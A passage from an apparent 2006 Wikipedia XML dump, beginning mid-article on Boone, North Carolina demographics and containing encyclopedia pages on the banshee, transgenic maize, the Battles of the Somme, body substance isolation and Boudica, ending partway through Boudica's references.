The median household income is $20,541, and the median family income is $49,762. Males have a median income of $28,060 versus $20,000 for females. The [[per capita income]] is $12,256. 37.0% of the population and 9.2% of families are below the [[poverty line]]. However, poverty statistics that are based on surveys of the entire population can be extremely misleading in communities dominated by students, such as Boone. Out of the total population, 6.3% of those under the age of 18 and 9.1% of those 65 and older are living below the poverty line. These particular statistics are far less skewed by the overwhelming dominance of students in Boone's population.

== External links ==
* [http://www.townofboone.net/ Official Boone, NC website]
* [http://www.boonechamber.com/ Boone Area Chamber of Commerce]
* [http://www.visitboonenc.com/ Boone Convention &amp; Visitors Bureau]
* [http://www.appalcart.com/ AppalCART Public Transportation]
* [http://www.booneonline.com/ Historical Boone Photos, Postcards, and Paper]
* [http://www.blueridgevacations.com/ Blue Ridge Vacations Travel Guide]
* [http://www.johnsonsdepot.com/crumley/cyhome.htm Cy Crumley ET&amp;WNC Photo Collection]

{{Mapit-US-cityscale|36.211364|-81.668657}}


[[Category:Towns in North Carolina]]
[[Category:Watauga County, North Carolina]]
[[Category:University towns]]</text>
    </revision>
  </page>
  <page>
    <title>Banshee</title>
    <id>4513</id>
    <revision>
      <id>40386641</id>
      <timestamp>2006-02-20T05:09:58Z</timestamp>
      <contributor>
        <ip>68.4.102.152</ip>
      </contributor>
      <text xml:space="preserve">:''This article describes the banshee of [[Gaelic]] folklore (in [[Ireland]], [[Isle of Man|Man]] and [[Scotland]]). For other uses, see [[Banshee (disambiguation)]].''

The '''banshee''' ({{IPA2|&amp;#712;bæn&amp;#643;i&amp;#720;}}) is a creature in [[Irish folklore|Gaelic folklore]], the word being derived from the [[Old Irish]] ''ben síde'', [[Irish language|modern Irish]] ''bean sídhe'' or ''bean sí'', &quot;[[fairy]] woman&quot; (''bean'', woman, and ''[[sidhe]]'', being the ''tuiseal ginideach'' or possessive case of &quot;fairy&quot;). The sídh are derived from [[pre-Christian]] Gaelic [[deity|deities]]. 

When members of the community died, a woman would sing a traditional lament or ''caoineadh'' at their [[funeral|funerals]]. These women singers are sometimes referred to in [[English language|English]] as &quot;keener&quot;. Traditionally, the banshee can only cry for five great Gaelic families: the O'Gradys, the O'Neills, the O'Briens, the O'Connors, and the Kavanaghs. These families had a fairy woman associated with them, who would make an appearance after a death in the family to sing this lament. Tales recount how, when the family member had died far away then the appearance or, in some tales, the sound of the fairy keener, might be the first intimation of the death.

When these oral narratives were first translated into English, a distinction between the &quot;banshee&quot; and other fairy folk was introduced which does not seem to exist in the original stories in their original (Irish or [[Scottish Gaelic language|Scottish]]) Gaelic forms. Similarly, the funeral lament became a mournful cry or wail by which the death is heralded. In these tales, hearing the banshee's wail came to predict a death in the family and seeing the banshee portends one's own death.

Banshees are frequently dressed in white and often have long, fair hair which they brush with a silver comb, a detail scholar Patricia Lysaght attributes to confusion with local [[mermaid]] [[myths]]. Other stories portray them as dressed in green or black with a grey cloak.

== References ==
* {{cite book
 | title = The Banshee: The Irish Death Messenger
 | first = Patricia | last = Lysaght
 | year = 1986
 | publisher =  Roberts Rinehart Publishers
 | id = ISBN 1-57098-138-8
 }}
* {{cite book
 | title = An Encyclopedia of Fairies
 | first = Katharine | last = Briggs
 | year = 1976
 | publisher =  Pantheon Books
 | id = ISBN 0-394-73467-X
 }}
* The Banshee by Josh Grant

[[Category:Celtic legendary creatures]]
[[Category:Irish mythology]]
[[Category:Scottish mythology]]
[[Category:Irish women]]

[[de:Banshee]]
[[es:Banshee]]
[[fr:Banshee]]
[[ga:Bean sí]]
[[gd:Bean-shìdh]]
[[it:Banshee]]
[[nl:Banshee (demoon)]]
[[ja:バンシー]]
[[no:Banshee]]
[[pl:Banshee]]
[[ru:Баньши]]
[[fi:Banshee]]</text>
    </revision>
  </page>
  <page>
    <title>Transgenic maize</title>
    <id>4514</id>
    <revision>
      <id>41818669</id>
      <timestamp>2006-03-01T23:15:42Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Transgenic maize''' (corn) has been deliberately [[genetically modified organism|genetically modified]] to have agronomically desirable traits. Traits that have been engineered into corn  are resistance to [[herbicide]]s and incorporation of a [[gene]] that codes for the ''[[Bacillus thuringiensis]]'' (Bt) toxin, protecting plants from [[insect]] pests. [[Hybrid]]s with both herbicide and pest resistance have also been produced.  Transgenic maize is currently grown commercially in the [[United States]].

==Herbicide resistant corn==
Corn varieties resistant to [[glufosinate]] (Liberty) herbicides and [[Roundup]] have been produced. There are also corn hybrids with tolerance to imidazoline herbicides marketed by [[Pioneer Hi-Bred]] under the trade mark Clearfield, but in these  the herbicide tolerance trait was bred without the use of genetic engineering. Consequently the regulatory framework governing the approval, use, trade  and consumption of transgenic crops does not apply for imidazoline tolerant corn. 

Herbicide resistant GM corn is grown in the United States. Amidst much controversy, a variation of herbicide resistant GM corn was approved for import into the [[European Union]] in [[2004]]. Such imports remain highly controversial (The Independent, 2005).

==Bt corn== 
[[Image:Corn borer.jpg|right|thumb|180px|The European corn borer ''Ostrinia nubilalis'', destroys corn crops by burrowing into the stem, causing the plant to fall over.]]
Bt corn is a variant of [[maize]], [[Genetically modified organism|genetically altered]] to express the bacterial [[Bacillus thuringiensis|Bt]] toxin, which is [[poison|poisonous]] to [[insect]] pests. In the case of corn, the pest is the [[European Corn Borer]].

Expressing the toxin was achieved by inserting a [[gene]] from the soil-dwelling [[microorganism]] ''Bacillus thuringiensis'' into the corn [[genome]]. This gene [[code for|codes for]] a [[toxin]] that will [[crystallize]] in the [[digestive tract]] of [[insect]] [[larva]]e, leading to its starvation.

In [[2001]], Bt176 varieties were voluntarily withdrawn from the list of approved varieties by the [[Environmental Protection Agency]] when it was found to have little or no Bt expression in the ears and was not found to be effective against second generation corn borers. (Current status of Bt Corn Hybrids, 2005)

===Bt corn and monarch butterflies===
In May [[1999]], a laboratory at [[Cornell University]] published the results from a laboratory trial that appeared to indicate that the [[pollen]] of genetically modified Bt corn presented a threat to [[Monarch butterfly|monarch]] caterpillars. Critics claimed that the popular media was wrong to report that monarch butterflies were threatened because this experiment did not duplicate natural conditions under which monarch caterpillars may come in contact with corn pollen. (Cornell News, 1999)

In [[2001]] the scientific journal the [[Proceedings of the National Academy of Sciences]] published six comprehensive studies that showed that Bt corn pollen does not pose a risk to monarch populations for the following reasons:
*The density of Bt corn pollen that overlay milkweed leaves in the environment rarely comes close to the levels needed to harm monarch butterflies. Both laboratory and field studies confirmed this.
*There is limited overlap between the period that Bt corn sheds pollen and when caterpillars are present.
*Only a portion of the monarch caterpillar population feeds on milkweeds in and near cornfields.
(Sears, ''et al.'', 2001)

===Cross pollination===
By law, farmers in the United States who plant Bt corn must plant non-Bt corn nearby.  These non-modified fields are to provide a location to harbor [[Maize#Pests of maize|pests]].  The theory behind these refuges is to slow the adaptation of the pests to the Bt pesticide.

The non-Bt pesticide status of the refuges is being compromised by wind-born [[pollen]] drifting into the non-Bt corn fields.  Corn harvested from the supposed Bt-free zones has shown traces of Bt toxin.  The levels found in the non-Bt corn decreases with distance from the Bt-corn fields indicating that the pollen is wind-borne rather than another method of transfer.  The concentrations in the refuge fields were found to be low-to-moderate.

Possible solutions to the [[Pollination|cross-pollination]] problem are to plant a wider refuge field or plant varieties of corn that bloom at different times than the Bt fields do. (Chilcutt &amp; Tabashnik, 2004)

===The StarLink corn controversy===
'''StarLink''' was a variety of Bt corn patented by [[Aventis Crop Sciences]] (a subdivision of [[Aventis]], acquired by [[Bayer|Bayer AG]] in [[2002]]).

U.S. regulatory authorities permitted the commercial sale of StarLink seed, with the stipulation that crops produced must not be used for human consumption. This restriction was based on the possibility that a small number of people might develop an [[allergy|allergic]] reaction to a protein contained in the grain.

StarLink corn was subsequently found in food destined for consumption by humans, with an episode involving [[Taco Bell]] [[taco]] shells being particularly well publicized.  This led to a public relations disaster for Aventis and the biotechnology industry as a whole.  Sales of StarLink seed were discontinued.

The southern portion of the U.S. corn belt planted the greatest amount of StarLink corn.  It is this portion of the U.S. where corn borer damage creates the greatest economic loss to farmers.

==See also==
* [[GM food]]

==References==
* {{Citenews | title=EU authorises Monsanto GMO maize for import | date=October 26, 2004 | org=Reuters| url=http://www.afaa.com.au/news/news-1538.asp}}
* {{Citenews | title=EU deadlocked over latest GMO maize approval | date=June 3, 2005 | org=Reuters| url=http://www.reuters.com/newsArticle.jhtml?type=scienceNews&amp;storyID=8690383}}
* {{Citenews | title=Food agency accused of Stalinist tactics over GM maize cover-up | date=June 19, 2005 | org=The Independent| url=http://news.independent.co.uk/uk/environment/story.jsp?story=648020 }}
* {{cite web | title=Approval Status of Biotech Corn Hybrids | work=National Corn Growers Association (US) | url=http://lepton.marz.com/ncga/search_hybrids/know_where.asp | accessdate=June 19 | accessyear=2005}}
* {{Citenews | title=Engineered corn kills monarch butterflies | date=May 19, 1999 | org=Cornell News | url=http://www.news.cornell.edu/releases/May99/Butterflies.bpf.html}}
* {{cite web | title=Butterflies and Bt Corn| work=United States Department of Agriculture | url=http://www.ars.usda.gov/sites/monarch/index.html | accessdate=June 19 | accessyear=2005}}
* {{cite journal | author=Mark K. Sears, Richard L. Hellmich, Diane E. Stanley-Horn, Karen S. Oberhauser, John M. Pleasants, Heather R. Mattila, Blair D. Siegfried, and Galen P. Dively | url=http://www.pnas.org/cgi/content/full/98/21/11937 |title =Impact of Bt corn pollen on monarch butterfly populations: A risk assessment | journal=Proceedings of the National Academy of Sciences | volume=98 | issue=October 9 | year=2001 | pages=11937-11942 |id={{doi|10.1073/pnas.211329998}} }}
* {{cite journal | author=Chilcutt, C.F., and B.E. Tabashnik| url=http://www.pnas.org/cgi/content/full/101/20/7526| title=Contamination of refuges by ''Bacillus thuringiensis'' toxin genes from transgenic maize | journal=Proceedings of the National Academy of Sciences | volume=101 | issue=May 18 | year=2004 | pages=7526-7529 |id={{doi|10.1073/pnas.0400546101}} }}
* {{cite web | title=Biopesticides Registration Action Document: Preliminary Risks and Benefits Sections (Page 14)| work=Environmental Protection Agency - Office of Science Coordination and Policy | url=http://www.epa.gov/oscpmont/sap/2000/october/brad1_execsum_overview.pdf | accessdate=June 19| accessyear=2005}}
* {{cite web | title=Current status of Bt Corn Hybrids| work=Kansas State University Research and Extension| url=http://www.oznet.ksu.edu/swao/Entomology/Bt_Folder/Bt%20Corns2.html | accessdate=June 19| accessyear=2005}}
* {{cite journal | author=Bruce Chassy and Drew Kershen | url=http://westernfarmpress.com/mag/farming_bt_corn_reduce/index.html|title=Bt corn can reduce serious birth defects by limiting toxic mold | journal=Western Farm Press | issue=October 10 | volume= | pages= | year=2004}}

[[Category:Crops]]
[[Category:Genetically modified organisms]]

[[de:Transgener Mais]]
[[fr:Maïs Bt]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of the Somme (disambiguation)</title>
    <id>4515</id>
    <revision>
      <id>39468782</id>
      <timestamp>2006-02-13T09:09:58Z</timestamp>
      <contributor>
        <username>Ironfrost</username>
        <id>714496</id>
      </contributor>
      <comment>fixed vandalism by 82.32.37.45</comment>
      <text xml:space="preserve">There were a number of '''Battles of the Somme''' during [[World War I]]:

*[[Battle of the Somme (1916)]] ([[1 July]]&amp;ndash;[[18 November]], [[1916]]) - major Anglo-French offensive of 1916.
*[[First Battle of the Somme (1918)]] ([[21 March]]&amp;ndash;[[5 April]], [[1918]]) - British name for the German [[Operation Michael|Operation ''Michael'']] offensive.
*[[Second Battle of the Somme (1918)]] ([[21 August]]&amp;ndash;[[3 September]], [[1918]]) - second phase of the British offensive in [[Picardy]] during the [[Hundred Days (1918)|Hundred Days]].

See also ''[[The Battle of the Somme (film)|The Battle of the Somme]]'', a [[documentary film]] shot during the [[1916]] battle.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Body substance isolation</title>
    <id>4516</id>
    <revision>
      <id>36457987</id>
      <timestamp>2006-01-24T04:13:35Z</timestamp>
      <contributor>
        <username>Uthbrian</username>
        <id>562409</id>
      </contributor>
      <minor />
      <comment>add cat</comment>
      <text xml:space="preserve">'''Body substance isolation''' is a practice of isolating all body substances ([[blood]], [[urine]], [[feces]], [[tears]], etc.) of individuals undergoing [[medical treatment]], particularly emergency medical treatment of those who might be infected with illnessess such as [[HIV]], or [[hepatitis]] so as to reduce as much as possible the chances of transmitting these illnesses.  BSI is similar in nature to [[universal precautions]], but goes further in isolating substances not currently known to carry HIV.

{{med-stub}}
[[Category:Medical hygiene]]</text>
    </revision>
  </page>
  <page>
    <title>Boudica</title>
    <id>4517</id>
    <revision>
      <id>41650305</id>
      <timestamp>2006-02-28T20:19:44Z</timestamp>
      <contributor>
        <ip>205.188.116.9</ip>
      </contributor>
      <comment>/* Films and television */</comment>
      <text xml:space="preserve">[[image:boudiccastatue.jpg|thumb|300px|Statue of Boudica near Westminster Pier]]'''Boudica''' (also written '''Boudicca''', '''Boadicea''', '''Buduica''', '''Bonduca''') (d. [[60]]/[[61]]) was a [[Queen regnant|queen]] of the [[Brythonic]] [[Celt|Celtic]] [[Iceni]] people of Norfolk in Eastern [[Roman Britain|Britain]] who led a major uprising of the tribes against the occupying forces of the [[Roman Empire]].  Upon the death of her husband the Icenian king [[Prasutagus]] (''circa'' 60), the Romans annexed his kingdom and brutally humiliated Boudica and her daughters, spurring her leadership of the revolt.

In [[60]] or [[61]], while governor [[Gaius Suetonius Paulinus]] was leading a campaign against the [[druids]] on the island of [[Anglesey]] in north [[Wales]], the Iceni and their neighbours, the [[Trinovantes]], rebelled, and lead by Boudica, destroyed the former Trinovantian capital and Roman ''[[colonia]]'' of Camulodunum ([[Colchester]]), and routed the Roman [[Legio IX Hispana|Legio IX ''Hispana'']] under [[Quintus Petillius Cerialis]].  Boudica's army then burned to the ground the twenty-year-old settlement of [[Londinium]] ([[London]]) and destroyed [[Verulamium]] ([[St Albans]]), killing an estimated 70,000-80,000 people.  [[Roman emperor]] [[Nero]] briefly considered withdrawing Roman forces from the island, but ultimately Boudica was defeated at the [[Battle of Watling Street]] by the heavily outnumbered forces of Roman provincial governor [[Gaius Suetonius Paulinus]].

The chronicles of these events, as recorded by the historians [[Tacitus]]{{ref|Tacitus}} and [[Dio Cassius]]{{ref|Dio}}, were rediscovered during the [[Renaissance]] and led to a resurgence of Boudica's legendary fame during the [[Victorian era]], when [[Victoria of the United Kingdom|Queen Victoria]] was portrayed as her &quot;namesake&quot;.  Boudica has since remained an important cultural symbol in the United Kingdom.

==Background==

===Boudica or Boadicea?===
Until relatively recently Boudica was better known as Boadicea, a name which probably derives from a mistranscription when a manuscript of Tacitus was copied in the [[Middle Ages]]. Her name takes many forms in various manuscripts, but was almost certainly originally Boudicca or Boudica, derived from the [[Celtic languages|Celtic]] word ''*bouda'', victory (cf. [[Irish language|Irish]] ''bua'', 'Buaidheach'', [[Welsh language|Welsh]] ''buddug''). The name is attested in inscriptions as &quot;Boudica&quot; in [[Lusitania]], &quot;Boudiga&quot; in [[Bordeaux]] and &quot;Bodicca&quot; in Britain.{{ref|Bodicca}}

Based on later development of [[Welsh language|Welsh]] and [[Irish language|Irish]], [[Kenneth H. Jackson|Kenneth Jackson]] concludes that the correct spelling of the name is ''Boudica'', pronounced 'Bow-DEE-cah' (first syllable as in bow-and-arrow, ''i'' and ''a'' both long), although it is mispronounced by many as [b&amp;#363;-d&amp;#301;k'&amp;#601;].{{ref|Jackson}}

===Prasutagus' inheritance===
[[Image:EnglandNorfolk.png|thumb|right|150px|Location of modern Norfolk, once inhabited by the Iceni.]]Boudica's husband, [[Prasutagus]], was king of the [[Iceni]], who inhabited roughly what is now [[Norfolk]]. The Iceni were not at this stage part of the territory under direct Roman control, having voluntarily allied themselves to Rome following [[Claudius]]'s [[Roman conquest of Britain|conquest]] of [[43]]. They were jealous of their independence, and had revolted in [[47]] when the then-[[Roman governors of Britain|governor]], [[Publius Ostorius Scapula]], threatened to disarm them.{{ref|disarm}} It is possible that Prasutagus was installed as a pro-Roman ruler following the suppression of this uprising. He lived a long life of conspicuous wealth, and, hoping to preserve his line, made the [[Roman emperor]] co-heir to his kingdom along with his two daughters.

It was normal Roman practice to allow allied kingdoms their independence only for the lifetime of their client king, who would agree to leave his kingdom to Rome in his will: the provinces of [[Bithynia]]{{ref|Bithynia}} and [[Galatia]]{{ref|Galatia}}, for example, were incorporated into the Empire in just this way. [[Roman law]] also allowed [[inheritance]] only through the male line. So when Prasutagus died his attempts to preserve his line were ignored and his kingdom was annexed as if it had been conquered. Lands and property were confiscated and nobles treated like slaves. According to [[Tacitus]], Boudica was flogged and her daughters raped. Dio Cassius says that Roman financiers, including [[Seneca the Younger]], chose this point to call in their loans. Tacitus does not mention this, but does single out the [[procurator]], [[Catus Decianus]], for criticism for his &quot;avarice&quot;. Prasutagus, it seems, had lived well on borrowed Roman money, and on his death his subjects had become liable for the debt.

==Boudica's uprising==

In [[60]] or [[61]], while the current governor, [[Gaius Suetonius Paulinus]], was leading a campaign against the [[druids]] on the island of [[Anglesey]] in north [[Wales]], the Iceni rebelled, along with their neighbours the Trinovantes, under Boudica's leadership.

[[Image:claud_1.jpg|right|thumb|200px|A statue of Emperor Claudius]]Their first target was Camulodunum ([[Colchester]]), the former Trinovantian capital and now a Roman ''[[colonia]]''. The Roman veterans who had been settled there mistreated the locals, and a temple to the former emperor [[Claudius]] had been erected there at local expense, making the city a focus for resentment. The city was poorly defended and the rebels destroyed it, besieging the last defenders in the temple for two days before it fell. The future governor [[Quintus Petillius Cerialis]], then commanding the [[Legio IX Hispana|Legio IX ''Hispana'']], attempted to relieve the city, but his forces were routed.

When news of the rebellion reached him, Suetonius hurried along [[Watling Street]] through hostile territory to [[Londinium]] ([[London]]). Londinium was a relatively new town, founded after the conquest of [[43]], but had grown to be a thriving commercial centre with a population of travellers, traders, and probably Roman officials. The procurator, Catus Decianus, likely had his office there. Suetonius considered giving battle there, but considering his lack of numbers and chastened by Petilius's defeat, decided to sacrifice the city to save the province. Londinium was abandoned to the rebels, who burnt it down, slaughtering anyone who had not evacuated with Suetonius ([[archaeology]] shows a thick layer of burnt debris covering coins and pottery dating before [[60]]{{ref|arch}}).  [[Verulamium]] ([[St Albans]]) was next to be destroyed. In the three cities destroyed, between seventy and eighty thousand people are said to have been killed.

===Romans rally===
{{see also|Battle of Watling Street}}
Suetonius regrouped with the [[Legio XIV Gemina|XIV ''Gemina'']], some ''vexillationes'' (detachments) of the [[Legio XX Valeria Victrix|XX ''Valeria Victrix'']], and any available auxiliaries. The [[prefect]] of [[Legio II Augusta|Legio II ''Augusta'']], [[Poenius Postumus]], ignored the call, but nonetheless the governor was able to call on almost ten thousand men. He took a stand at an unidentified location, probably in the [[West Midlands (region)|West Midlands]] somewhere along [[Watling Street]], in a [[defile]] with a wood behind him. They were greatly outnumbered by the British rebels (who were 230,000 strong by now according to Dio Cassius) but superior Roman tactics and training won the day at the [[Battle of Watling Street]]. The [[Britons]] attempted to flee, but were impeded by the presence of their own families, whom they had stationed in a ring of wagons at the edge of the battlefield, and were slaughtered (The German king [[Ariovistus]] is reported to have made the same mistake in [[Julius Caesar]]'s ''[[Gallic Wars]]'').{{ref|Ariovistus}} Tacitus reports that &quot;according to one report almost eighty thousand Britons fell&quot; compared with only four hundred Romans. According to Tacitus, Boudica poisoned herself; Dio Cassius says she fell sick and died, and was given a lavish burial. She may well have been cremated which was the custom of many Celtic tribes at this time. This would also serve to save her body from being defiled and would explain why the remains have never been found.

===Location of her defeat===

The site of Boudica's battle is unknown. According to London legend it was at [[King's Cross, London|Kings Cross]] in London (a nearby street is named Battle Bridge Road), and that Boudica herself is buried under one of the platforms at [[Kings Cross railway station|Kings Cross Station]] (different sources list platforms eight, nine or ten as her supposed resting place) but, based on Tacitus, it is unlikely Suetonius returned to London. Most historians favour a site in the West Midlands. Kevin K. Carroll suggests a site close to [[High Cross, Leicestershire|High Cross]] in [[Leicestershire]], on the junction of Watling Street and the [[Fosse Way]], would have allowed the Legio II ''Augusta'', based at [[Exeter]], to rendezvous with the rest of Suetonius's forces.{{ref|HighCross}} [[Manduessedum]] ([[Mancetter]]), near the modern day town of [[Atherstone]] in [[Warwickshire]], has also been suggested.{{ref|Mancetter}}

Postumus, on hearing of the Roman victory, fell on his sword. Catus Decianus fled to Gaul and was replaced as procurator by [[Gaius Julius Alpinus Classicianus]]. Suetonius conducted punitive operations, but criticism by Classicianus led to an investigation headed by Nero's [[freedman]] [[Polyclitus (freedman)|Polyclitus]], and Suetonius was removed as governor, to be replaced by [[Publius Petronius Turpilianus]]. The historian [[Suetonius]] tells us the crisis had almost persuaded Nero to abandon Britain.{{ref|Suetonius}}

==Historical sources==
Tacitus, the most important Roman historian of this period, took a particular interest in Britain as [[Gnaeus Julius Agricola]], his father-in-law and the subject of his first book, served there three times. He was a military [[tribune]] under Suetonius Paulinus, which almost certainly gave Tacitus an eyewitness source for Boudica's revolt.

Dio Cassius's sources are less certain. He is generally agreed to have based his account on that of Tacitus, but he simplifies the sequence of events and adds details, such as the calling in of loans, that Tacitus does not mention. He says of Boudica:

:&quot;Boudica was tall, terrible to look on and gifted with a powerful voice. A flood of bright red hair ran down to her knees; she wore a golden necklet made up of ornate pieces, a multi-coloured robe and over it a thick cloak held together by a brooch. She took up a long spear to cause dread in all who set eyes on her.&quot;

He reports that she committed all sorts of atrocities in the name of a goddess called [[Andraste]], who he claims is the British equivalent of [[Victoria (mythology)|Victoria]], the Roman goddess of victory. Boudica's own name means &quot;victory&quot;.

It is generally thought that [[Gildas]], in his [[6th century]] polemic ''[[De Excidio Britanniae]]'', alludes to Boudica in his typically oblique fashion as a &quot;treacherous lioness&quot;, although his general lack of knowledge about the real history of the Roman conquest of Britain makes this far from certain.{{ref|Gildas}}

==Cultural impact==
===History and literature===
By the [[Middle Ages]] Boudicca was forgotten. She makes no appearance in [[Bede]], the ''[[Historia Brittonum]]'', the ''[[Mabinogion]]'' or [[Geoffrey of Monmouth]]'s ''[[History of the Kings of Britain]]''. But the rediscovery of the works of Tacitus and Dio Cassius during the ''[[Renaissance]]'' allowed [[Polydore Virgil]] to reintroduce her into British history in [[1534]]. However he misinterpreted the &quot;Voadicea&quot; he found in Tacitus and the &quot;Bunduica&quot; in Dio Cassius as two separate women. Boudica's story was included in [[Raphael Holinshed]]'s ''Chronicles'' and inspired [[William Shakespeare|Shakespeare]]'s younger contemporaries [[Francis Beaumont]] and [[John Fletcher (playwright)|John Fletcher]] to write a play, ''[http://www.bibliomania.com/0/6/1/1975/frameset.html Bonduca]'', in [[1610]]. [[William Cowper]] wrote a popular poem, ''[http://www.bartleby.com/41/320.html Boadicea, an ode]'', in [[1782]].

It was in the [[Victorian era]] that Boudica's fame took on legendary proportions. [[Victoria of the United Kingdom|Queen Victoria]] was seen as her &quot;namesake&quot;. Victoria's [[Poet Laureate]], [[Alfred, Lord Tennyson]], wrote a poem, ''[http://oldpoetry.com/poetry/8721/showline=1 Boadicea]''. A great bronze statue of Boudica in her war [[chariot]] (furnished with [[scythed chariot|scythes]] after [[Persian Empire|Persian]] fashion), together with her daughters, was commissioned by [[Prince Albert of Saxe-Coburg and Gotha|Prince Albert]] and executed by [[Thomas Thornycroft]]. It was completed in [[1905]] and stands next to [[Westminster Bridge]] and the [[Palace of Westminster|Houses of Parliament]]. Ironically, the great anti-imperialist rebel was now identified with the head of the [[British Empire]].{{ref|Webster}}

===Modern fiction===

Boudica has inspired several novels: examples include [[Rosemary Sutcliff]]'s 1978 [[historical novel]] for children, ''Song for a Dark Queen'', and [[Manda Scott]]'s series of novels, ''Dreaming the Eagle'', ''Dreaming the Bull'', ''Dreaming the Hound'' and the forthcoming ''Dreaming the Serpent Spears''. [[Joyce Doré]] wrote ''Hemlock'', (ISBN 1898030197), a fictional account of the life of Boudica published in [[2002]], in which Boudica and her two daughters are taken to Rome, before [[Nero]], who makes her drink [[hemlock]]. Doré claims to be a [[psychic]] and to have based the book on her conversations with the historical characters.
The major American publisher Penguin has produced a recent book about Boudica called Warrior Queen, written by Australian novelist Alan Gold. It has been critically acclaimed.

===Films and television===
Boudica has been the subject of two feature films, [[1928]]'s ''Boadicea'', starring [[Phyllis Nielson-Terry]], and [[2003]]'s ''Boudica'', a [[television|TV]] film written by [[Andrew Davies (writer)|Andrew Davies]] and starring [[Alex Kingston]]. A new film is planned for release in [[2006]] entitled [[Warrior (2006 film)|Warrior]], written by [[Brian Klugman]] and [[Lee Sternthal]], directed by [[Gavin O'Connor]], and produced by [[Mel Gibson]].{{ref|films}} A British TV series, ''[[Warrior Queen]]'', was made by [[Thames Television]] in [[1978]] starring [[Sian Phillips]] as Boudica and [[Nigel Hawthorne]] as Catus Decianus. Boudica was also featured in the fifth episode of one hour documentary [[Warrior Women]] on the discovery channel, hosted by New Zealand actress [[Lucy Lawless]].

===Music===
The Irish singer/songwriter [[Enya]] produced a song called &quot;Boadicea&quot; on her [[1992]] album ''[[The Celts]]''. This track was most famously sampled by the rap group [[The Fugees]] for their single &quot;Ready or Not&quot; (from [[1996]]'s ''[[The Score (album)|The Score]]''), and most recently by [[Mario Winans]] (featuring [[Puff Daddy|Sean &quot;P. Diddy&quot; Combs]]) on his song &quot;I Don't Wanna Know&quot; ([[2004]]). The track was also used in the [[soundtrack]] of the film ''[[Sleepwalkers]]''.

Scottish singer/songwriter [[Steve McDonald]] composed a biographical song called &quot;Boadicea&quot; on his [[1997]] album ''Stone of Destiny'', detailing her life and tragic death.{{ref|McDonald}} British rock band [[The Libertines]] refer to &quot;Queen Boadicea&quot; in their song &quot;The Good Old Days&quot;, indicating a belief that her spirit still lives on in Britons today.{{ref|Libertines}} The British metal band [[Bal-Sagoth]] have written a song entitled &quot;Blood Slakes the Sand at the Circus Maximus&quot; (found on the band's album ''Battle Magic'') which features an Iceni Warrior of Boudica's uprising being captured and brought back to Rome. Her name (always spelled &quot;Boudicca&quot;) returns in the song &quot;When Rides the Scion of the Storms&quot; of the same album.{{ref|Bal}}

[http://www.mercyground.com Faith and the Muse] produced a song, Boudiccea, in their most recent album, Burning Season. The song suggests that Boudiccea may have committed suicide by falling on her sword.{{ref|FaithAndTheMuse}}

===Other cultural references===
There have been scattered reports that the restless spirit of Boudica has been seen in the county of [[Lincolnshire]]. These reports, dating back to the mid-[[19th century]], claim Boudica rides her chariot, heading for some unknown destination, and many a traveller and motorist have claimed to have seen her. There has been some debate as to how long this has been going on. Some say that the queen's restless spirit has been appearing since her death, while other suggest that the revival of interest in Boudica's story in the 19th century might have summoned her spirit back to our world. As with all reports of ghostly activity, it is up to the individual to decide whether they are true or not.{{ref|ghost}}

In [[1984]], [[Judy Grahn]], in her book ''[[Another Mother Tongue]]'', claimed that Boudica was the origin of the present day English word &quot;bull dyke&quot; (a vulgar term for a [[lesbian]]); this is thought to be dubious.

In the [[1990s]], [[DC Comics]]' [[Green Lantern Corps]] included a member named Boodikka, portrayed as a fierce female warrior.

In 2003, an LTR [[retrotransposon]] from the [[genome]] of the human [[Schistosoma|blood fluke]] ''Schistosoma mansoni'' was named ''Boudicca''.{{ref|gene}}

==References==
#{{note|Tacitus}} ''[[Agricola (book)|Agricola]]'' [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.02.0081&amp;layout=&amp;loc=14 14-17]; ''[[Annals (Tacitus)|Annals]]'' [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.02.0078;query=chapter%3D%23576;layout=;loc=14.30 14:29-39]
#{{note|Dio}} ''Roman History'' [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/62*.html#1 62:1-12]
#{{note|Bodicca}} Graham Webster, ''Boudica: The British Revolt against Rome AD 60'', 1978; Guy de la Bédoyère, [http://www.romanbritain.freeserve.co.uk/Legions.htm ''The Roman Army in Britain''], retrieved [[5 July]] [[2005]]
#{{note|Jackson}} [[Kenneth H. Jackson|Kenneth Jackson]], &quot;Queen Boudicca?&quot;, ''Britannia'' 10, 1979
#{{note|disarm}} Tacitus, ''Annals'' [http://www.perseus.tufts.edu/cgi-bin/ptext?lookup=Tac.+Ann.+12.31 12:31-32]
#{{note|Bithynia}} [[H. H. Scullard]], ''From the Gracchi to Nero'', 1982, p. 90
#{{note|Galatia}} John Morris, ''Londinium: London in the Roman Empire'', 1982, pp. 107-108
#{{note|arch}} George Patrick Welch, ''Britannia: The Roman Conquest &amp; Occupation of Britain'', 1963, p. 107
#{{note|Ariovistus}} ''[[Commentarii de Bello Gallico]]'' [http://www.perseus.tufts.edu/cgi-bin/ptext?lookup=Tac.+Ann.+12.31 12:31]
#{{note|HighCross}} Kevin K. Carroll, &quot;The Date of Boudicca's Revolt&quot;, ''Britannia'' 10, 1979
#{{note|Mancetter}} [[Sheppard Frere]], ''Britannia: A History of Roman Britain'', 1987, p. 73
#{{note|Suetonius}} ''Nero'' [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Nero*.html#18 18], [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Nero*.html#39 39-40]
#{{note|Gildas}} [[Gildas]], ''The Ruin of Britain and other documents'', ed &amp; trans Michael Winterbottom, Phillimore 1978; Fabio P. Barbieri, [http://www.geocities.com/vortigernstudies/fabio/contents.htm ''History of Britain, 407-597''], [http://www.geocities.com/vortigernstudies/fabio/book1.2.htm Book 1, Chapter 2], 2002 (retrieved [[5 July]] [[2005]])
#{{note|Webster}} Graham Webster, ''Boudica: The British Revolt against Rome AD 60'', 1978
#{{note|films}} [http://www.imdb.com/title/tt0018713/ ''Boadicea'' (1928)], [http://www.imdb.com/title/tt0338806/ ''Boudica'' (2003)], and [http://www.imdb.com/title/tt0409457/ ''Warrior'' (2006)] at [http://www.imdb.com/ imdb.com]
